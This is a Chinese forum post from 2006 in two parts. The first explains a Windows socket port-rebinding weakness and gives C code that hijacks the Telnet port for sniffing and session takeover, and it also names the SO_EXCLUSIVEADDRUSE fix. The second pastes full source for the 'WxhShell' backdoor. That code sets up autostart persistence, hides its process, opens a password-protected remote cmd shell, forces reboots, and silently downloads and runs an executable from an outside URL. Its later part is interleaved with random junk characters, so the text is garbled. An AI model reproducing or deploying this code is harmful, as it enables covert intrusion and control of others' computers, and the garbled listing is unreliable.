[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 6eb5q/
if(chr[0]==0xd || chr[0]==0xa) { ,YH.n>`s+
pwd=0; mJ-@:5
break; X6PfOep
} ;^;5"nh
i++; 2- )Ml*
} Y?> S.B7
nV'B!q
// 如果是非法用户，关闭 socket V[%r5!83H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1oC/W?l^
} dX<UruPA
b{sFN!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7+ c?eH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <ioX|.7ZX
9F3`hJZRy>
while(1) { iGR(
]O 2_&cs
ZeroMemory(cmd,KEY_BUFF); -Z:al\e<g
a].Bn#AH!C
// 自动支持客户端 telnet标准 Dq\#:NnKvx
j=0; 1 %*X,E
while(j<KEY_BUFF) { thOCzGJ$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :yv! x
cmd[j]=chr[0]; /wmJMX
if(chr[0]==0xa || chr[0]==0xd) { 0<e7!M=U1
cmd[j]=0; m0:8thZN
break; iud%X51
} `W"-jz5#=
j++; !\p-|51
} a"~W1|JC"
L/V3sSt
// 下载文件 {`-EX
if(strstr(cmd,"http://")) { v%_sCg
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ])e6\)
if(DownloadFile(cmd,wsh)) #*w$JH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#kmtJC
else =MMWcK&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp8 .\.
} |]Ockg[
else { Rd2*
Oi7|R7NE
switch(cmd[0]) { P||u{]vU
9;.dNdg>
// 帮助 s*rtm
case '?': { k~Gjfo
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V$@@!q
break; 1298&C@
} ci,o'`Q
// 安装 N+h|Ffnp
case 'i': { AX[/S8|6
if(Install()) P^+Og_$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jg^tr>I~
else b@nbXm]Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UT"L5{c
break; B,}%1+*
} v)BUt,A
// 卸载 ~bvx<:8*%
case 'r': { _M{m6k(h
if(Uninstall()) GMd81@7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zxKk(J
else 0p![&O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s|dL.@0,L
break; D`iWf3a.
} rY88xh^
// 显示 wxhshell 所在路径 <4^a(Zh
case 'p': { VAV@Qn
char svExeFile[MAX_PATH]; 3 nb3rHQ
strcpy(svExeFile,"\n\r"); G| ^tqI
strcat(svExeFile,ExeFile); n0nkv[
send(wsh,svExeFile,strlen(svExeFile),0); <#sB ;
break; _/7[=e}y
} ?^0#:QevC
// 重启 k:R9wo
case 'b': { p}N'>+@=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ywlym\ [+
if(Boot(REBOOT)) $ 5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN"irXG
else { ^PO0(rh
closesocket(wsh); j @sd x)1+
ExitThread(0); tHD mX
} =OTwP
break; N(/DC)DJg
} ;\(wJ{u?Y
// 关机 *T*MLD]Q
case 'd': { j =[Td
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :E]A51
if(Boot(SHUTDOWN)) `[/BG)4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J7uHl`yq`
else { o=4d2V%m
closesocket(wsh); &`0heJ 5Yn
ExitThread(0); `QAotSO+
} cMIQbBM
break; {>>f5o3
} Yc+/="&z
// 获取shell #Z(8 vA^@
case 's': { |Zncr9b
CmdShell(wsh); T'0Ot3m`
closesocket(wsh); dy#dug6j
ExitThread(0); [gQ*y~N
break; NA!;#!
} 5}E8Tl
// 退出 VO/" ot
case 'x': { ,z<\Z!+=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q?e97a
CloseIt(wsh); Hq< Vk.Nk
break; DpoRR`
} /DJyNf*
// 离开 TBvv(_
case 'q': { &=xm>;`3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); n\ZDI+X
closesocket(wsh); ~;3N'o
WSACleanup(); 1j9.Q;9
exit(1); ie=tM'fb
break; IH'DCY:
} YSs9BF:a
} Ks{^R`Oau
} X-e)w
K.dgQ-vn
// 提示信息 OtrO"K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GNT1FR
} w*f.Fu(su
} \:'=ccf
l{E+j%
return; 5kofO
} #xNLr
ZS4lb=)G
// shell模块句柄 { P&l`
int CmdShell(SOCKET sock) LTm2B_+
{ .UU BAyjm
STARTUPINFO si; '&xv)tno
ZeroMemory(&si,sizeof(si)); K\`L>B. 1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mflH&Bx9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !/BXMj,=
PROCESS_INFORMATION ProcessInfo; ezY _7
char cmdline[]="cmd"; "'~'xaU!=a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JD^(L~n]
return 0; '@3hU|jO!
} wh<+.Zp
R]0awV1b
// 自身启动模式 e3yBB*@
int StartFromService(void) w<lHY=z E
{ 3BDAvdJ4.
typedef struct {r#2X1
{ q1;}~}W;z4
DWORD ExitStatus; I?.$
DWORD PebBaseAddress; 7xb z)FI
DWORD AffinityMask; QyuSle
DWORD BasePriority; O\,n;oj
ULONG UniqueProcessId; [u[F6Wst
ULONG InheritedFromUniqueProcessId; l23_K7
} PROCESS_BASIC_INFORMATION; /o*r[g7<
BHy#g>KUF
PROCNTQSIP NtQueryInformationProcess; 6HW<E~G'6
`i<;5s!rX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j{C+`~O
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?H#]+SpOcv
np}F [v
HANDLE hProcess; T9osueh4
PROCESS_BASIC_INFORMATION pbi; !=;^Grv>
KDhr.P.~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w*Vf{[a'
if(NULL == hInst ) return 0; uHkL$}C
U+3,(O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cE '`W7&A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >?ZH[A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }eXzs_
x00"d$!
if (!NtQueryInformationProcess) return 0; c{Nk"gEfRA
O['gp~P"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .cdm@_Ls
if(!hProcess) return 0; OW<i"?0
k6_RJ8I
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HeZ! "^w
}#ZQ\[
CloseHandle(hProcess); %3M(!X:[
t,4q]Jt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Lv eZ_h5
if(hProcess==NULL) return 0; lpQsmd#
~+d?d6*c
HMODULE hMod; (1T2?mO
char procName[255]; qba<$
unsigned long cbNeeded; T]l_B2.
yd2v_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3/RmJ`c{
;aExEgTq
CloseHandle(hProcess); lJP6sk
6TvlK*<r=
if(strstr(procName,"services")) return 1; // 以服务启动 e;5n.+m
M:z)uLDw
return 0; // 注册表启动 aT$q1!U`j2
} @C{IgV
!2s< v
// 主模块 Nc:, [8{l
int StartWxhshell(LPSTR lpCmdLine) 6?b9~xRW
{ X[\b!<C
SOCKET wsl; jbcJ\2
BOOL val=TRUE; -h%;L5oJ2,
int port=0; *|h-iA+9
struct sockaddr_in door; <*E{zr&
a1R2ocC
if(wscfg.ws_autoins) Install(); AmNmhcN
[8l;X:
port=atoi(lpCmdLine); n|dLK.Q
2siUpmX
if(port<=0) port=wscfg.ws_port; Gnop
!:PF |dZ
WSADATA data; FVNxjMm,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =G2D4>q
S/Pffal
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c+c3C8s*8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <GC<uB |p
door.sin_family = AF_INET; OiH tobM
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1H`T=:P?
door.sin_port = htons(port); w-*$gk]
^UHt1[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *9M 5'
closesocket(wsl); Wly-z$\
return 1; mO;X>~K
} t<mT=(zt*
t$^1A1Ef
if(listen(wsl,2) == INVALID_SOCKET) { Z[<rz6%cB
closesocket(wsl); m:CiXM
return 1; i$gm/ZO
} r\Nf309~
Wxhshell(wsl); 'yxRz5
WSACleanup(); O3WhO@`6)
0Aw.aQ~E8i
return 0; :SUPGaUJ"
0Po",\^
} 4vKp341B
Bh$hgf.C
// 以NT服务方式启动 -Zc 6_]F|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RL7OFfMe
{ %m$TV@
DWORD status = 0; cf)2GoV>e
DWORD specificError = 0xfffffff; 0(\ybppx
S^'?sfq
serviceStatus.dwServiceType = SERVICE_WIN32; L)H'g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -L>xVF-|:1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hn\<'|n
serviceStatus.dwWin32ExitCode = 0; fx(^}e
serviceStatus.dwServiceSpecificExitCode = 0; =$;i
serviceStatus.dwCheckPoint = 0; 6<jh0=$
serviceStatus.dwWaitHint = 0; 4^vEMq8lB
;M}'\.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZnSDq_Uk
if (hServiceStatusHandle==0) return; VZBT'N
H'|b$rP0@
status = GetLastError(); H~UxVQLPp
if (status!=NO_ERROR) Njsz=
{ Tn2nd
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?JO x9;`
serviceStatus.dwCheckPoint = 0; :%cL(',Q
serviceStatus.dwWaitHint = 0; ~`)`Ip
serviceStatus.dwWin32ExitCode = status; @9~a3k|
serviceStatus.dwServiceSpecificExitCode = specificError; ovJ#2_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !N:!x[5
return; g]?&qF}
} 4UD<g+|
:#W40rUb
serviceStatus.dwCurrentState = SERVICE_RUNNING; xp-.,^q\w
serviceStatus.dwCheckPoint = 0; p.^glz>B
serviceStatus.dwWaitHint = 0; ]7" W(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5W_u|z+/g
} H1X38
K0$8t%Z.
// 处理NT服务事件，比如：启动、停止 ; mnV)8:F
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Uss?)jN4
{ 17g\XC@ Cl
switch(fdwControl) S^0Po%d
{ aC:Sy^Tf
case SERVICE_CONTROL_STOP: 5q?2?j/h
serviceStatus.dwWin32ExitCode = 0; D#|+PG7
serviceStatus.dwCurrentState = SERVICE_STOPPED; $/^DY&
serviceStatus.dwCheckPoint = 0; ~?i;~S
serviceStatus.dwWaitHint = 0; 7pH`"$
{ (8DJf"}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FG]xn(E
} N"Y)
return; ?oF+?l
case SERVICE_CONTROL_PAUSE: EfHo1Yn&
serviceStatus.dwCurrentState = SERVICE_PAUSED; EUH&"8 L
break; ^_W+
case SERVICE_CONTROL_CONTINUE: DZo7T!
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0gdFXh$!e
break; 88(h`RGMh
case SERVICE_CONTROL_INTERROGATE: h?E[28QB
break; Gq%q x4
}; [@d$XC]Qz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KP{|xQ>
} B1dVHz#
7x`dEi<
// 标准应用程序主函数 3aIP^I1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y+5nn
{ 8|kr|l
kDJ$kv
// 获取操作系统版本 wGdnv}#
OsIsNt=GetOsVer(); qW*JB4`?a
GetModuleFileName(NULL,ExeFile,MAX_PATH); BoQLjS{kN
:xOne<@
// 从命令行安装 wG;#L7%
if(strpbrk(lpCmdLine,"iI")) Install(); 1OB,UU"S$
OUCLtn\
// 下载执行文件 'p<lfT
if(wscfg.ws_downexe) { YjaEKM8*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1@Abs
WinExec(wscfg.ws_filenam,SW_HIDE); +vOlA#t%Z
} w#]> Nf
/@Qg'Q#
if(!OsIsNt) { tPu0r],`o
